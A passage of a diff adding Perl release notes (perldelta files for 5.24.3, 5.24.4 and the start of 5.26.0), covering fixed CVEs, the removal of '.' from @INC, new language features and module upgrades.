+L<[perl #128888]|https://rt.perl.org/Public/Bug/Display.html?id=128888>
+L<[perl #128889]|https://rt.perl.org/Public/Bug/Display.html?id=128889>
+L<[perl #128890]|https://rt.perl.org/Public/Bug/Display.html?id=128890>
+L<[perl #128893]|https://rt.perl.org/Public/Bug/Display.html?id=128893>
+L<[perl #128909]|https://rt.perl.org/Public/Bug/Display.html?id=128909>
+L<[perl #128919]|https://rt.perl.org/Public/Bug/Display.html?id=128919>
+
+=item *
+
+The parser could sometimes crash if a bareword came after C<evalbytes>.
+L<[perl #129196]|https://rt.perl.org/Public/Bug/Display.html?id=129196>
+
+=item *
+
+Fixed a place where the regex parser was not setting the syntax error correctly
+on a syntactically incorrect pattern.
+L<[perl #129122]|https://rt.perl.org/Public/Bug/Display.html?id=129122>
+
+=item *
+
+A vulnerability in Perl's C<sprintf> implementation has been fixed by avoiding
+a possible memory wrap.
+L<[perl #131260]|https://rt.perl.org/Public/Bug/Display.html?id=131260>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.24.3 represents approximately 2 months of development since Perl 5.24.2
+and contains approximately 3,200 lines of changes across 120 files from 23
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 1,600 lines of changes to 56 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers. The following people are known to have contributed
+the improvements that became Perl 5.24.3:
+
+Aaron Crane, Craig A. Berry, Dagfinn Ilmari Mannsåker, Dan Collins, Daniel
+Dragan, Dave Cross, David Mitchell, Eric Herman, Father Chrysostomos, H.Merijn
+Brand, Hugo van der Sanden, James E Keenan, Jarkko Hietaniemi, John SJ
+Anderson, Karl Williamson, Ken Brown, Lukas Mai, Matthew Horsfall, Stevan
+Little, Steve Hay, Steven Humphrey, Tony Cook, Yves Orton.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history. In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core. We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the articles recently
+posted to the comp.lang.perl.misc newsgroup and the perl bug database at
+L<https://rt.perl.org/> . There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release. Be sure to trim your bug down to a tiny but
+sufficient test case. Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug@perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION> for details of how to
+report the issue.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perl5244delta.pod b/gnu/usr.bin/perl/pod/perl5244delta.pod
new file mode 100644
index 00000000000..502b0672b89
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perl5244delta.pod
@@ -0,0 +1,130 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5244delta - what is new for perl v5.24.4
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.24.3 release and the 5.24.4
+release.
+
+If you are upgrading from an earlier release such as 5.24.2, first read
+L<perl5243delta>, which describes differences between 5.24.2 and 5.24.3.
+
+=head1 Security
+
+=head2 [CVE-2018-6797] heap-buffer-overflow (WRITE of size 1) in S_regatom (regcomp.c)
+
+A crafted regular expression could cause a heap buffer write overflow, with
+control over the bytes written.
+L<[perl #132227]|https://rt.perl.org/Public/Bug/Display.html?id=132227>
+
+=head2 [CVE-2018-6798] Heap-buffer-overflow in Perl__byte_dump_string (utf8.c)
+
+Matching a crafted locale dependent regular expression could cause a heap
+buffer read overflow and potentially information disclosure.
+L<[perl #132063]|https://rt.perl.org/Public/Bug/Display.html?id=132063>
+
+=head2 [CVE-2018-6913] heap-buffer-overflow in S_pack_rec
+
+C<pack()> could cause a heap buffer write overflow with a large item count.
+L<[perl #131844]|https://rt.perl.org/Public/Bug/Display.html?id=131844>
+
+=head2 Assertion failure in Perl__core_swash_init (utf8.c)
+
+Control characters in a supposed Unicode property name could cause perl to
+crash. This has been fixed.
+L<[perl #132055]|https://rt.perl.org/Public/Bug/Display.html?id=132055>
+L<[perl #132553]|https://rt.perl.org/Public/Bug/Display.html?id=132553>
+L<[perl #132658]|https://rt.perl.org/Public/Bug/Display.html?id=132658>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.24.3. If any exist,
+they are bugs, and we request that you submit a report. See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170922_24 to 5.20180414_24.
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+The C<readpipe()> built-in function now checks at compile time that it has only
+one parameter expression, and puts it in scalar context, thus ensuring that it
+doesn't corrupt the stack at runtime.
+L<[perl #4574]|https://rt.perl.org/Public/Bug/Display.html?id=4574>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.24.4 represents approximately 7 months of development since Perl 5.24.3
+and contains approximately 2,400 lines of changes across 49 files from 12
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 1,300 lines of changes to 12 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers. The following people are known to have contributed
+the improvements that became Perl 5.24.4:
+
+Abigail, Chris 'BinGOs' Williams, John SJ Anderson, Karen Etheridge, Karl
+Williamson, Renee Baecker, Sawyer X, Steve Hay, Todd Rinaldo, Tony Cook, Yves
+Orton, Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history. In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core. We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the articles recently
+posted to the comp.lang.perl.misc newsgroup and the perl bug database at
+L<https://rt.perl.org/> . There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release. Be sure to trim your bug down to a tiny but
+sufficient test case. Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug@perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perl5260delta.pod b/gnu/usr.bin/perl/pod/perl5260delta.pod
new file mode 100644
index 00000000000..a2a1484dbe4
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perl5260delta.pod
@@ -0,0 +1,3334 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5260delta - what is new for perl v5.26.0
+
+=head1 DESCRIPTION
+
+This document describes the differences between the 5.24.0 release and the
+5.26.0 release.
+
+=head1 Notice
+
+This release includes three updates with widespread effects:
+
+=over 4
+
+=item * C<"."> no longer in C<@INC>
+
+For security reasons, the current directory (C<".">) is no longer included
+by default at the end of the module search path (C<@INC>). This may have
+widespread implications for the building, testing and installing of
+modules, and for the execution of scripts. See the section
+L<< Removal of the current directory (C<".">) from C<@INC> >>
+for the full details.
+
+=item * C<do> may now warn
+
+C<do> now gives a deprecation warning when it fails to load a file which
+it would have loaded had C<"."> been in C<@INC>.
+
+=item * In regular expression patterns, a literal left brace C<"{">
+should be escaped
+
+See L</Unescaped literal C<"{"> characters in regular expression patterns are no longer permissible>.
+
+=back
+
+=head1 Core Enhancements
+
+=head2 Lexical subroutines are no longer experimental
+
+Using the C<lexical_subs> feature introduced in v5.18 no longer emits a warning. Existing
+code that disables the C<experimental::lexical_subs> warning category
+that the feature previously used will continue to work. The
+C<lexical_subs> feature has no effect; all Perl code can use lexical
+subroutines, regardless of what feature declarations are in scope.
+
+=head2 Indented Here-documents
+
+This adds a new modifier C<"~"> to here-docs that tells the parser
+that it should look for C</^\s*$DELIM\n/> as the closing delimiter.
+
+These syntaxes are all supported:
+
+ <<~EOF;
+ <<~\EOF;
+ <<~'EOF';
+ <<~"EOF";
+ <<~`EOF`;
+ <<~ 'EOF';
+ <<~ "EOF";
+ <<~ `EOF`;
+
+The C<"~"> modifier will strip, from each line in the here-doc, the
+same whitespace that appears before the delimiter.
+
+Newlines will be copied as-is, and lines that don't include the
+proper beginning whitespace will cause perl to croak.
+
+For example:
+
+ if (1) {
+ print <<~EOF;
+ Hello there
+ EOF
+ }
+
+prints "Hello there\n" with no leading whitespace.
+
+=head2 New regular expression modifier C</xx>
+
+Specifying two C<"x"> characters to modify a regular expression pattern
+does everything that a single one does, but additionally TAB and SPACE
+characters within a bracketed character class are generally ignored and
+can be added to improve readability, like
+S<C</[ ^ A-Z d-f p-x ]/xx>>. Details are at
+L<perlre/E<sol>x and E<sol>xx>.
+
+=head2 C<@{^CAPTURE}>, C<%{^CAPTURE}>, and C<%{^CAPTURE_ALL}>
+
+C<@{^CAPTURE}> exposes the capture buffers of the last match as an
+array. So C<$1> is C<${^CAPTURE}[0]>. This is a more efficient equivalent
+to code like C<substr($matched_string,$-[0],$+[0]-$-[0])>, and you don't
+have to keep track of the C<$matched_string> either. This variable has no
+single character equivalent. Note that, like the other regex magic variables,
+the contents of this variable is dynamic; if you wish to store it beyond
+the lifetime of the match you must copy it to another array.
+
+C<%{^CAPTURE}> is equivalent to C<%+> (I<i.e.>, named captures). Other than
+being more self-documenting there is no difference between the two forms.
+
+C<%{^CAPTURE_ALL}> is equivalent to C<%-> (I<i.e.>, all named captures).
+Other than being more self-documenting there is no difference between the
+two forms.
+
+=head2 Declaring a reference to a variable
+
+As an experimental feature, Perl now allows the referencing operator to come
+after L<C<my()>|perlfunc/my>, L<C<state()>|perlfunc/state>,
+L<C<our()>|perlfunc/our>, or L<C<local()>|perlfunc/local>. This syntax must
+be enabled with C<use feature 'declared_refs'>. It is experimental, and will
+warn by default unless C<no warnings 'experimental::refaliasing'> is in effect.
+It is intended mainly for use in assignments to references. For example:
+
+ use experimental 'refaliasing', 'declared_refs';
+ my \$a = \$b;
+
+See L<perlref/Assigning to References> for more details.
+
+=head2 Unicode 9.0 is now supported
+
+A list of changes is at L<http://www.unicode.org/versions/Unicode9.0.0/>.
+Modules that are shipped with core Perl but not maintained by p5p do not
+necessarily support Unicode 9.0. L<Unicode::Normalize> does work on 9.0.
+
+=head2 Use of C<\p{I<script>}> uses the improved Script_Extensions property
+
+Unicode 6.0 introduced an improved form of the Script (C<sc>) property, and
+called it Script_Extensions (C<scx>). Perl now uses this improved
+version when a property is specified as just C<\p{I<script>}>. This
+should make programs more accurate when determining if a character is
+used in a given script, but there is a slight chance of breakage for
+programs that very specifically needed the old behavior. The meaning of
+compound forms, like C<\p{sc=I<script>}> are unchanged. See
+L<perlunicode/Scripts>.
+
+=head2 Perl can now do default collation in UTF-8 locales on platforms
+that support it
+
+Some platforms natively do a reasonable job of collating and sorting in
+UTF-8 locales. Perl now works with those. For portability and full
+control, L<Unicode::Collate> is still recommended, but now you may
+not need to do anything special to get good-enough results, depending on
+your application. See
+L<perllocale/Category C<LC_COLLATE>: Collation: Text Comparisons and Sorting>.
+
+=head2 Better locale collation of strings containing embedded C<NUL>
+characters
+
+In locales that have multi-level character weights, C<NUL>s are now
+ignored at the higher priority ones. There are still some gotchas in
+some strings, though. See
+L<perllocale/Collation of strings containing embedded C<NUL> characters>.
+
+=head2 C<CORE> subroutines for hash and array functions callable via
+reference
+
+The hash and array functions in the C<CORE> namespace (C<keys>, C<each>,
+C<values>, C<push>, C<pop>, C<shift>, C<unshift> and C<splice>) can now
+be called with ampersand syntax (C<&CORE::keys(\%hash>) and via reference
+(C<< my $k = \&CORE::keys; $k-E<gt>(\%hash) >>). Previously they could only be
+used when inlined.
+
+=head2 New Hash Function For 64-bit Builds
+
+We have switched to a hybrid hash function to better balance
+performance for short and long keys.
+
+For short keys, 16 bytes and under, we use an optimised variant of
+One At A Time Hard, and for longer keys we use Siphash 1-3. For very
+long keys this is a big improvement in performance. For shorter keys
+there is a modest improvement.
+
+=head1 Security
+
+=head2 Removal of the current directory (C<".">) from C<@INC>
+
+The perl binary includes a default set of paths in C<@INC>. Historically
+it has also included the current directory (C<".">) as the final entry,
+unless run with taint mode enabled (C<perl -T>). While convenient, this has
+security implications: for example, where a script attempts to load an
+optional module when its current directory is untrusted (such as F</tmp>),
+it could load and execute code from under that directory.
+
+Starting with v5.26, C<"."> is always removed by default, not just under
+tainting. This has major implications for installing modules and executing
+scripts.
+
+The following new features have been added to help ameliorate these
+issues.
+
+=over
+
+=item * F<Configure -Udefault_inc_excludes_dot>
+
+There is a new F<Configure> option, C<default_inc_excludes_dot> (enabled
+by default) which builds a perl executable without C<".">; unsetting this
+option using C<-U> reverts perl to the old behaviour. This may fix your
+path issues but will reintroduce all the security concerns, so don't
+build a perl executable like this unless you're I<really> confident that
+such issues are not a concern in your environment.
+
+=item * C<PERL_USE_UNSAFE_INC>
+
+There is a new environment variable recognised by the perl interpreter.
+If this variable has the value 1 when the perl interpreter starts up,
+then C<"."> will be automatically appended to C<@INC> (except under tainting).
+
+This allows you restore the old perl interpreter behaviour on a
+case-by-case basis. But note that this is intended to be a temporary crutch,
+and this feature will likely be removed in some future perl version.
+It is currently set by the C<cpan> utility and C<Test::Harness> to
+ease installation of CPAN modules which have not been updated to handle the
+lack of dot. Once again, don't use this unless you are sure that this
+will not reintroduce any security concerns.
+
+=item * A new deprecation warning issued by C<do>.
+
+While it is well-known that C<use> and C<require> use C<@INC> to search
+for the file to load, many people don't realise that C<do "file"> also
+searches C<@INC> if the file is a relative path. With the removal of C<".">,
+a simple C<do "file.pl"> will fail to read in and execute C<file.pl> from
+the current directory. Since this is commonly expected behaviour, a new
+deprecation warning is now issued whenever C<do> fails to load a file which
+it otherwise would have found if a dot had been in C<@INC>.
+
+=back
+
+Here are some things script and module authors may need to do to make
+their software work in the new regime.
+
+=over
+
+=item * Script authors
+
+If the issue is within your own code (rather than within included
+modules), then you have two main options. Firstly, if you are confident
+that your script will only be run within a trusted directory (under which
+you expect to find trusted files and modules), then add C<"."> back into the
+path; I<e.g.>:
+
+ BEGIN {
+ my $dir = "/some/trusted/directory";
+ chdir $dir or die "Can't chdir to $dir: $!\n";
+ # safe now
+ push @INC, '.';
+ }
+
+ use "Foo::Bar"; # may load /some/trusted/directory/Foo/Bar.pm
+ do "config.pl"; # may load /some/trusted/directory/config.pl
+
+On the other hand, if your script is intended to be run from within
+untrusted directories (such as F</tmp>), then your script suddenly failing
+to load files may be indicative of a security issue. You most likely want
+to replace any relative paths with full paths; for example,
+
+ do "foo_config.pl"
+
+might become
+
+ do "$ENV{HOME}/foo_config.pl"
+
+If you are absolutely certain that you want your script to load and
+execute a file from the current directory, then use a C<./> prefix; for
+example:
+
+ do "./foo_config.pl"
+
+=item * Installing and using CPAN modules
+
+If you install a CPAN module using an automatic tool like C<cpan>, then
+this tool will itself set the C<PERL_USE_UNSAFE_INC> environment variable
+while building and testing the module, which may be sufficient to install
+a distribution which hasn't been updated to be dot-aware. If you want to
+install such a module manually, then you'll need to replace the
+traditional invocation:
+
+ perl Makefile.PL && make && make test && make install
+
+with something like
+
+ (export PERL_USE_UNSAFE_INC=1; \
+ perl Makefile.PL && make && make test && make install)
+
+Note that this only helps build and install an unfixed module. It's
+possible for the tests to pass (since they were run under
+C<PERL_USE_UNSAFE_INC=1>), but for the module itself to fail to perform
+correctly in production. In this case, you may have to temporarily modify
+your script until a fixed version of the module is released.
+For example:
+
+ use Foo::Bar;
+ {
+ local @INC = (@INC, '.');
+ # assuming read_config() needs '.' in @INC
+ $config = Foo::Bar->read_config();
+ }
+
+This is only rarely expected to be necessary. Again, if doing this,
+assess the resultant risks first.
+
+=item * Module Authors
+
+If you maintain a CPAN distribution, it may need updating to run in
+a dotless environment. Although C<cpan> and other such tools will
+currently set the C<PERL_USE_UNSAFE_INC> during module build, this is a
+temporary workaround for the set of modules which rely on C<"."> being in
+C<@INC> for installation and testing, and this may mask deeper issues. It
+could result in a module which passes tests and installs, but which
+fails at run time.
+
+During build, test, and install, it will normally be the case that any perl
+processes will be executing directly within the root directory of the
+untarred distribution, or a known subdirectory of that, such as F<t/>. It
+may well be that F<Makefile.PL> or F<t/foo.t> will attempt to include
+local modules and configuration files using their direct relative
+filenames, which will now fail.
+
+However, as described above, automatic tools like F<cpan> will (for now)
+set the C<PERL_USE_UNSAFE_INC> environment variable, which introduces
+dot during a build.
+
+This makes it likely that your existing build and test code will work, but
+this may mask issues with your code which only manifest when used after
+install. It is prudent to try and run your build process with that
+variable explicitly disabled:
+
+ (export PERL_USE_UNSAFE_INC=0; \
+ perl Makefile.PL && make && make test && make install)
+
+This is more likely to show up any potential problems with your module's
+build process, or even with the module itself. Fixing such issues will
+ensure both that your module can again be installed manually, and that
+it will still build once the C<PERL_USE_UNSAFE_INC> crutch goes away.
+
+When fixing issues in tests due to the removal of dot from C<@INC>,
+reinsertion of dot into C<@INC> should be performed with caution, for this
+too may suppress real errors in your runtime code. You are encouraged
+wherever possible to apply the aforementioned approaches with explicit
+absolute/relative paths, or to relocate your needed files into a
+subdirectory and insert that subdirectory into C<@INC> instead.
+
+If your runtime code has problems under the dotless C<@INC>, then the comments
+above on how to fix for script authors will mostly apply here too. Bear in
+mind though that it is considered bad form for a module to globally add a dot to
+C<@INC>, since it introduces both a security risk and hides issues of
+accidentally requiring dot in C<@INC>, as explained above.
+
+=back
+
+=head2 Escaped colons and relative paths in PATH
+
+On Unix systems, Perl treats any relative paths in the C<PATH> environment
+variable as tainted when starting a new process. Previously, it was
+allowing a backslash to escape a colon (unlike the OS), consequently
+allowing relative paths to be considered safe if the PATH was set to
+something like C</\:.>. The check has been fixed to treat C<"."> as tainted
+in that example.
+
+=head2 New C<-Di> switch is now required for PerlIO debugging output
+
+This is used for debugging of code within PerlIO to avoid recursive
+calls. Previously this output would be sent to the file specified
+by the C<PERLIO_DEBUG> environment variable if perl wasn't running
+setuid and the C<-T> or C<-t> switches hadn't been parsed yet.
+
+If perl performed output at a point where it hadn't yet parsed its
+switches this could result in perl creating or overwriting the file
+named by C<PERLIO_DEBUG> even when the C<-T> switch had been supplied.
+
+Perl now requires the C<-Di> switch to be present before it will produce
+PerlIO debugging
+output. By default this is written to C<stderr>, but can optionally
+be redirected to a file by setting the C<PERLIO_DEBUG> environment
+variable.
+
+If perl is running setuid or the C<-T> switch was supplied,
+C<PERLIO_DEBUG> is ignored and the debugging output is sent to
+C<stderr> as for any other C<-D> switch.
+
+=head1 Incompatible Changes
+
+=head2 Unescaped literal C<"{"> characters in regular expression
+patterns are no longer permissible
+
+You have to now say something like C<"\{"> or C<"[{]"> to specify to
+match a LEFT CURLY BRACKET; otherwise, it is a fatal pattern compilation
+error. This change will allow future extensions to the language.
+
+These have been deprecated since v5.16, with a deprecation message
+raised for some uses starting in v5.22. Unfortunately, the code added
+to raise the message was buggy and failed to warn in some cases where
+it should have. Therefore, enforcement of this ban for these cases is
+deferred until Perl 5.30, but the code has been fixed to raise a
+default-on deprecation message for them in the meantime.
+
+Some uses of literal C<"{"> occur in contexts where we do not foresee
+the meaning ever being anything but the literal, such as the very first
+character in the pattern, or after a C<"|"> meaning alternation. Thus
+
+ qr/{fee|{fie/
+
+matches either of the strings C<{fee> or C<{fie>. To avoid forcing
+unnecessary code changes, these uses do not need to be escaped, and no
+warning is raised about them, and there are no current plans to change this.
+
+But it is always correct to escape C<"{">, and the simple rule to
+remember is to always do so.
+
+See L<Unescaped left brace in regex is illegal here|perldiag/Unescaped left brace in regex is illegal here in regex; marked by S<E<lt>-- HERE> in mE<sol>%sE<sol>>.
+
+=head2 C<scalar(%hash)> return signature changed
+
+The value returned for C<scalar(%hash)> will no longer show information about
+the buckets allocated in the hash. It will simply return the count of used
+keys. It is thus equivalent to C<0+keys(%hash)>.
+
+A form of backward compatibility is provided via
+L<C<Hash::Util::bucket_ratio()>|Hash::Util/bucket_ratio> which provides
+the same behavior as
+C<scalar(%hash)> provided in Perl 5.24 and earlier.
+
+=head2 C<keys> returned from an lvalue subroutine
+
+C<keys> returned from an lvalue subroutine can no longer be assigned
+to in list context.
+
+ sub foo : lvalue { keys(%INC) }
+ (foo) = 3; # death
+ sub bar : lvalue { keys(@_) }
+ (bar) = 3; # also an error
+
+This makes the lvalue sub case consistent with C<(keys %hash) = ...> and
+C<(keys @_) = ...>, which are also errors.
+L<[perl #128187]|https://rt.perl.org/Public/Bug/Display.html?id=128187>
+
+=head2 The C<${^ENCODING}> facility has been removed
+
+The special behaviour associated with assigning a value to this variable
+has been removed. As a consequence, the L<encoding> pragma's default mode
+is no longer supported. If
+you still need to write your source code in encodings other than UTF-8, use a
+source filter such as L<Filter::Encoding> on CPAN or L<encoding>'s C<Filter>
+option.
+
+=head2 C<POSIX::tmpnam()> has been removed
+
+The fundamentally unsafe C<tmpnam()> interface was deprecated in
+Perl 5.22 and has now been removed. In its place, you can use,
+for example, the L<File::Temp> interfaces.
+
+=head2 require ::Foo::Bar is now illegal.
+
+Formerly, C<require ::Foo::Bar> would try to read F</Foo/Bar.pm>. Now any
+bareword require which starts with a double colon dies instead.
+
+=head2 Literal control character variable names are no longer permissible
+
+A variable name may no longer contain a literal control character under
+any circumstances. These previously were allowed in single-character
+names on ASCII platforms, but have been deprecated there since Perl
+5.20. This affects things like C<$I<\cT>>, where I<\cT> is a literal
+control (such as a C<NAK> or C<NEGATIVE ACKNOWLEDGE> character) in the
+source code.
+
+=head2 C<NBSP> is no longer permissible in C<\N{...}>
+
+The name of a character may no longer contain non-breaking spaces. It
+has been deprecated to do so since Perl 5.22.
+
+=head1 Deprecations
+
+=head2 String delimiters that aren't stand-alone graphemes are now deprecated
+
+For Perl to eventually allow string delimiters to be Unicode
+grapheme clusters (which look like a single character, but may be
+a sequence of several ones), we have to stop allowing a single character
+delimiter that isn't a grapheme by itself. These are unlikely to exist
+in actual code, as they would typically display as attached to the
+character in front of them.
+
+=head2 C<\cI<X>> that maps to a printable is no longer deprecated
+
+This means we have no plans to remove this feature. It still raises a
+warning, but only if syntax warnings are enabled. The feature was
+originally intended to be a way to express non-printable characters that
+don't have a mnemonic (C<\t> and C<\n> are mnemonics for two
+non-printable characters, but most non-printables don't have a
+mnemonic.) But the feature can be used to specify a few printable
+characters, though those are more clearly expressed as the printable
+itself. See
+L<http://www.nntp.perl.org/group/perl.perl5.porters/2017/02/msg242944.html>.
+
+=head1 Performance Enhancements
+
+=over 4
+
+=item *
+
+A hash in boolean context is now sometimes faster, I<e.g.>
+
+ if (!%h) { ... }
+
+This was already special-cased, but some cases were missed (such as
+C<grep %$_, @AoH>), and even the ones which weren't have been improved.
+
+=item * New Faster Hash Function on 64 bit builds
+
+We use a different hash function for short and long keys. This should
+improve performance and security, especially for long keys.
+
+=item * readline is faster
+
+Reading from a file line-by-line with C<readline()> or C<< E<lt>E<gt> >> should
+now typically be faster due to a better implementation of the code that
+searches for the next newline character.
+
+=item *
+
+Assigning one reference to another, I<e.g.> C<$ref1 = $ref2> has been
+optimized in some cases.
+
+=item *
+
+Remove some exceptions to creating Copy-on-Write strings. The string
+buffer growth algorithm has been slightly altered so that you're less
+likely to encounter a string which can't be COWed.
+
+=item *
+
+Better optimise array and hash assignment: where an array or hash appears
+in the LHS of a list assignment, such as C<(..., @a) = (...);>, it's
+likely to be considerably faster, especially if it involves emptying the
+array/hash. For example, this code runs about a third faster compared to
+Perl 5.24.0:
+
+ my @a;
+ for my $i (1..10_000_000) {
+ @a = (1,2,3);
+ @a = ();
+ }
+
+=item *
+
+Converting a single-digit string to a number is now substantially faster.
+
+=item *
+
+The C<split> builtin is now slightly faster in many cases: in particular
+for the two specially-handled forms
+
+ my @a = split ...;
+ local @a = split ...;
+
+=item *
+
+The rather slow implementation for the experimental subroutine signatures
+feature has been made much faster; it is now comparable in speed with the
+traditional C<my ($a, $b, @c) = @_>.
+
+=item *
+
+Bareword constant strings are now permitted to take part in constant
+folding. They were originally exempted from constant folding in August 1999,
+during the development of Perl 5.6, to ensure that C<use strict "subs">
+would still apply to bareword constants. That has now been accomplished a
+different way, so barewords, like other constants, now gain the performance
+benefits of constant folding.
+
+This also means that void-context warnings on constant expressions of
+barewords now report the folded constant operand, rather than the operation;
+this matches the behaviour for non-bareword constants.
+
+=back
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+IO::Compress has been upgraded from version 2.069 to 2.074.
+
+=item *
+
+L<Archive::Tar> has been upgraded from version 2.04 to 2.24.
+
+=item *
+
+L<arybase> has been upgraded from version 0.11 to 0.12.
+
+=item *
+
+L<attributes> has been upgraded from version 0.27 to 0.29.
+
+The deprecation message for the C<:unique> and C<:locked> attributes
+now mention that they will disappear in Perl 5.28.
+
+=item *
+
+L<B> has been upgraded from version 1.62 to 1.68.
+
+=item *
+
+L<B::Concise> has been upgraded from version 0.996 to 0.999.
+
+Its output is now more descriptive for C<op_private> flags.
+
+=item *
+
+L<B::Debug> has been upgraded from version 1.23 to 1.24.
+
+=item *
+
+L<B::Deparse> has been upgraded from version 1.37 to 1.40.
+
+=item *
+
+L<B::Xref> has been upgraded from version 1.05 to 1.06.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<base> has been upgraded from version 2.23 to 2.25.
+
+=item *
+
+L<bignum> has been upgraded from version 0.42 to 0.47.
+
+=item *
+
+L<Carp> has been upgraded from version 1.40 to 1.42.
+
+=item *
+
+L<charnames> has been upgraded from version 1.43 to 1.44.
+
+=item *
+
+L<Compress::Raw::Bzip2> has been upgraded from version 2.069 to 2.074.
+
+=item *
+
+L<Compress::Raw::Zlib> has been upgraded from version 2.069 to 2.074.
+
+=item *
+
+L<Config::Perl::V> has been upgraded from version 0.25 to 0.28.
+
+=item *
+
+L<CPAN> has been upgraded from version 2.11 to 2.18.
+
+=item *
+
+L<CPAN::Meta> has been upgraded from version 2.150005 to 2.150010.
+
+=item *
+
+L<Data::Dumper> has been upgraded from version 2.160 to 2.167.
+
+The XS implementation now supports Deparse.
+
+=item *
+
+L<DB_File> has been upgraded from version 1.835 to 1.840.
+
+=item *
+
+L<Devel::Peek> has been upgraded from version 1.23 to 1.26.
+
+=item *
+
+L<Devel::PPPort> has been upgraded from version 3.32 to 3.35.
+
+=item *
+
+L<Devel::SelfStubber> has been upgraded from version 1.05 to 1.06.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<diagnostics> has been upgraded from version 1.34 to 1.36.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<Digest> has been upgraded from version 1.17 to 1.17_01.
+
+=item *
+
+L<Digest::MD5> has been upgraded from version 2.54 to 2.55.
+
+=item *
+
+L<Digest::SHA> has been upgraded from version 5.95 to 5.96.
+
+=item *
+
+L<DynaLoader> has been upgraded from version 1.38 to 1.42.
+
+=item *
+
+L<Encode> has been upgraded from version 2.80 to 2.88.
+
+=item *
+
+L<encoding> has been upgraded from version 2.17 to 2.19.
+
+This module's default mode is no longer supported. It now
+dies when imported, unless the C<Filter> option is being used.
+
+=item *
+
+L<encoding::warnings> has been upgraded from version 0.12 to 0.13.
+
+This module is no longer supported. It emits a warning to
+that effect and then does nothing.
+
+=item *
+
+L<Errno> has been upgraded from version 1.25 to 1.28.
+
+It now documents that using C<%!> automatically loads Errno for you.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<ExtUtils::Embed> has been upgraded from version 1.33 to 1.34.
+
+It now uses 3-arg C<open()> instead of 2-arg C<open()>.
+L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+
+=item *
+
+L<ExtUtils::MakeMaker> has been upgraded from version 7.10_01 to 7.24.
+
+=item *
+
+L<ExtUtils::Miniperl> has been upgraded from version 1.05 to 1.06.
+
+=item *
+
+L<ExtUtils::ParseXS> has been upgraded from version 3.31 to 3.34.
+
+=item *
+
+L<ExtUtils::Typemaps> has been upgraded from version 3.31 to 3.34.
+
+=item *
+
+L<feature> has been upgraded from version 1.42 to 1.47.
+
+=item *
+
+L<File::Copy> has been upgraded from version 2.31 to 2.32.
+
+=item *
+
+L<File::Fetch> has been upgraded from version 0.48 to 0.52.
+
+=item *
+
+L<File::Glob> has been upgraded from version 1.26 to 1.28.
+
+It now Issues a deprecation message for C<File::Glob::glob()>.
+
+=item *
+
+L<File::Spec> has been upgraded from version 3.63 to 3.67.
+
+=item *
+
+L<FileHandle> has been upgraded from version 2.02 to 2.03.
+
+=item *
+
